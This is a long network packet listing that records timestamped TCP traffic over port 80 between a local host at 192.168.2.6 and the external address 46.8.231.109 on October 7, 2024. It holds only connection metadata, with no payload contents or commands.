Oct 7, 2024 18:00:22.896330118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896341085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896352053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896365881 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896368980 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.896377087 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896389008 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896400928 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896401882 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.896411896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896419048 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.896441936 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.896455050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.896617889 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896662951 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.896771908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896784067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896797895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896810055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896816969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896821022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896826982 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.896826982 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.896827936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896836042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896876097 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.896900892 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.897058010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.897154093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.897166014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.897176981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.897188902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.897197962 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.897201061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.897212982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.897223949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.897228003 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.897245884 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.897278070 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.931137085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.931149006 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.931163073 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.931260109 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.931266069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.931277990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.931283951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.931288958 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.931309938 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.931363106 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.933311939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.933361053 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.933393955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.933406115 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.933432102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.933450937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.933537960 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.933548927 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.933568001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.933578014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.933588028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.933588982 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.933619022 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.933635950 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.933779955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.933789968 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.933795929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.933870077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.933876038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.933881044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.933892965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.933918953 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.933969021 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.934065104 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.934103012 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.934159994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.934225082 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.934250116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.934261084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.934267044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.934318066 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.934410095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.934422016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.934427977 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.934469938 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.934678078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.934689045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.934700012 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.934711933 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.934741020 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.934756994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.934788942 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.934952021 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.934962988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.934973955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.934986115 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.935007095 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.935120106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.935131073 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.935142040 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.935153008 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.935168982 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.935189009 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.935379028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.935400963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.935414076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.935415983 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.935425997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.935446024 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.935470104 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.935635090 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.935646057 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.935656071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.935667992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.935678959 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.935709000 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.935709953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.935722113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.935734034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.935743093 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.935746908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.935758114 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.935774088 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.935801029 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.936254978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.936273098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.936283112 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.936292887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.936304092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.936312914 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.936314106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.936325073 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.936332941 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.936351061 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.936661005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.936674118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.936686039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.936693907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.936708927 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.936728001 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.978703022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.978775024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.978786945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.978800058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.978871107 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.978920937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.978925943 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.978934050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.978944063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.978974104 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.978986979 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.979270935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.979283094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.979296923 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.979307890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.979320049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.979326963 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.979331970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.979343891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.979355097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.979358912 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.979367018 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.979376078 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.979379892 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.979402065 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.979434967 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.979552031 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.979563951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.979574919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.979585886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.979609013 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.979625940 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.980678082 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.980721951 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.980725050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.980736017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.980746984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.980765104 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.980791092 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.980926037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.980937004 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.980947971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.980958939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.980966091 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.980971098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.980983019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.980983019 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.980993986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.981013060 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.981035948 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.981204033 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.981242895 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.981403112 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.981414080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.981425047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.981436014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.981440067 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.981447935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.981460094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.981461048 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.981471062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.981482029 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.981487989 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.981491089 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.981501102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.981503010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.981513977 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.981525898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.981534004 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.981538057 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.981563091 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.981575966 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.982022047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.982033968 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.982070923 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.014632940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.014695883 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.014708042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.014780998 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.014807940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.014820099 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.014848948 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.014877081 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.014909983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.014920950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.014931917 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.014957905 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.014982939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.016777039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.016859055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.016871929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.016881943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.016935110 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.016978979 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.017002106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017014027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017025948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017035007 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017050982 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.017077923 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.017199039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017240047 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.017247915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017260075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017285109 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.017298937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.017484903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017501116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017513037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017524958 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017539024 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.017566919 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.017652988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017667055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017678022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017695904 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.017723083 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.017821074 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017832994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017843008 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017854929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.017898083 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.017898083 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.018399000 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.018440008 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.018450022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.018470049 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.018482924 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.018645048 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.018686056 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.018712044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.018726110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.018735886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.018747091 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.018752098 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.018771887 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.018799067 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.018846035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.018857956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.018867970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.018883944 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.018898964 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.018918991 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.019053936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.019064903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.019076109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.019088030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.019094944 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.019098997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.019104004 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.019110918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.019123077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.019125938 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.019155025 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.019169092 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.019313097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.019325018 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.019335032 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.019346952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.019355059 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.019357920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.019368887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.019380093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.019383907 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.019402027 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.019414902 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.019623041 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.019665003 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.191055059 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.191158056 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.310525894 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.610663891 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:23.820472002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:23.820720911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:24.052711010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:24.052778006 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:24.216877937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:24.221735954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:24.427468061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:24.427630901 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:24.784128904 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:24.789467096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:24.995467901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:24.995624065 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.338251114 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.343190908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.507194042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.507410049 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.507469893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.507487059 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.507503033 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.507541895 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.507582903 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.507673025 CEST	80	49718	46.8.231.109	192.168.2.6
